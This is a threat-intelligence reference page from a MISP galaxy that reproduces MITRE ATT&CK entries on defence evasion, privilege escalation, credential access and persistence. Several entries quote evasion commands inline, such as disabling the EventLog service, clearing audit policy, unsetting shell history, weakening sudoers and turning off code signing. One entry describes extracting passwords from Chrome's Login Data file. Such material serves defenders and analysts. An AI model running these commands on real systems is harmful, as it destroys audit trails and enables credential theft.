| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Disable Windows Event Logging - T1562.002
Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)
Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)
There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the "Start" value in the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System and HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)
Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)
By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
Internal MISP references
UUID 4eb28bed-d11a-4641-9863-c2ac017d910a which can be used as unique global reference for Disable Windows Event Logging - T1562.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/002 - webarchive
- https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy - webarchive
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md - webarchive
- https://ptylu.github.io/content/report/report.html?report=25 - webarchive
- https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html - webarchive
- https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c - webarchive
- https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040 - webarchive
- https://www.coretechnologies.com/blog/windows-services/eventlog/ - webarchive
- https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/ - webarchive
- https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.002 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution', 'Sensor Health: Host Status', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Impair Command History Logging - T1562.003
Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
Adversaries may also leverage a Network Device CLI on network devices to disable historical command logging (e.g. no logging).
Internal MISP references
UUID 8f504411-cb96-4dac-a537-8d2bb7679c59 which can be used as unique global reference for Impair Command History Logging - T1562.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/003 - webarchive
- https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit - webarchive
- https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics - webarchive
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.003 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Disable or Modify Tools - T1629.003
Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.
Internal MISP references
UUID 2aa78dfd-cb6f-4c70-9408-137cfd96be49 which can be used as unique global reference for Disable or Modify Tools - T1629.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1629.003 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Compromise Hardware Supply Chain - T1474.002
Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.
Internal MISP references
UUID c08366bb-8d11-4921-853f-f0a3b6a2a1da which can be used as unique global reference for Compromise Hardware Supply Chain - T1474.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1474/002 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1474.002 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Bypass User Account Control - T1548.002
Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
eventvwr.execan auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
Internal MISP references
UUID 120d5519-3098-4e1c-9191-2aa61232f073 which can be used as unique global reference for Bypass User Account Control - T1548.002 in MISP communities and other software using the MISP galaxy
External references
- http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - webarchive
- http://www.pretentiousname.com/misc/win7_uac_whitelist2.html - webarchive
- https://attack.mitre.org/techniques/T1548/002 - webarchive
- https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - webarchive
- https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - webarchive
- https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - webarchive
- https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ - webarchive
- https://github.com/hfiref0x/UACME - webarchive
- https://msdn.microsoft.com/en-us/library/ms679687.aspx - webarchive
- https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - webarchive
- https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548.002 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
User Activity Based Checks - T1497.002
Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)
Internal MISP references
UUID 91541e7e-b969-40c6-bbd8-1b5352ec2938 which can be used as unique global reference for User Activity Based Checks - T1497.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1497/002 - webarchive
- https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc - webarchive
- https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - webarchive
- https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1497.002 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Cloud Instance Metadata API - T1552.005
Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.
Internal MISP references
UUID 19bf235b-8620-4997-b5b4-94e0659ed7c3 which can be used as unique global reference for Cloud Instance Metadata API - T1552.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1552/005 - webarchive
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html - webarchive
- https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/ - webarchive
- https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.005 |
| kill_chain | ['attack-IaaS:credential-access'] |
| mitre_data_sources | ['User Account: User Account Authentication'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Exfiltration to Cloud Storage - T1567.002
Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.
Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.
Internal MISP references
UUID bf1b6176-597c-4600-bfcd-ac989670f96b which can be used as unique global reference for Exfiltration to Cloud Storage - T1567.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1567.002 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Compromise Software Supply Chain - T1474.003
Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
Internal MISP references
UUID 9558a84e-2d5e-4872-918e-d847494a8ffc which can be used as unique global reference for Compromise Software Supply Chain - T1474.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1474/003 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1474.003 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Sudo and Sudo Caching - T1548.003
Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
Internal MISP references
UUID 1365fe3b-0f50-455d-b4da-266ce31c23b0 which can be used as unique global reference for Sudo and Sudo Caching - T1548.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548.003 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Process: Process Metadata'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Credentials from Web Browsers - T1555.003
Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
Internal MISP references
UUID 58a3e6aa-4453-4cc8-a51f-4befe80b31a8 which can be used as unique global reference for Credentials from Web Browsers - T1555.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1555/003 - webarchive
- https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - webarchive
- https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata - webarchive
- https://github.com/putterpanda/mimikittenz - webarchive
- https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html - webarchive
- https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555.003 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: OS API Execution', 'Process: Process Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Code Signing Policy Modification - T1553.006
Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.
Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)
Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)
To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)
Internal MISP references
UUID 565275d5-fcc3-4b66-b4e7-928e4cac6b8c which can be used as unique global reference for Code Signing Policy Modification - T1553.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1553/006 - webarchive
- https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf - webarchive
- https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN - webarchive
- https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test - webarchive
- https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option - webarchive
- https://github.com/hfiref0x/TDL - webarchive
- https://unit42.paloaltonetworks.com/acidbox-rare-malware/ - webarchive
- https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553.006 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Unix Shell Configuration Modification - T1546.004
Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.
Internal MISP references
UUID b63a34e8-0a61-4c97-a23b-bf8a2ed812e2 which can be used as unique global reference for Unix Shell Configuration Modification - T1546.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546/004 - webarchive
- https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/ - webarchive
- https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html - webarchive
- https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a - webarchive
- https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js - webarchive
- https://objective-see.com/blog/blog_0x48.html - webarchive
- https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 - webarchive
- https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/ - webarchive
- https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ - webarchive
- https://wiki.archlinux.org/index.php/Bash#Invocation - webarchive
- https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect - webarchive
- https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat - webarchive
- https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.004 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Elevated Execution with Prompt - T1548.004
Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.
Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.
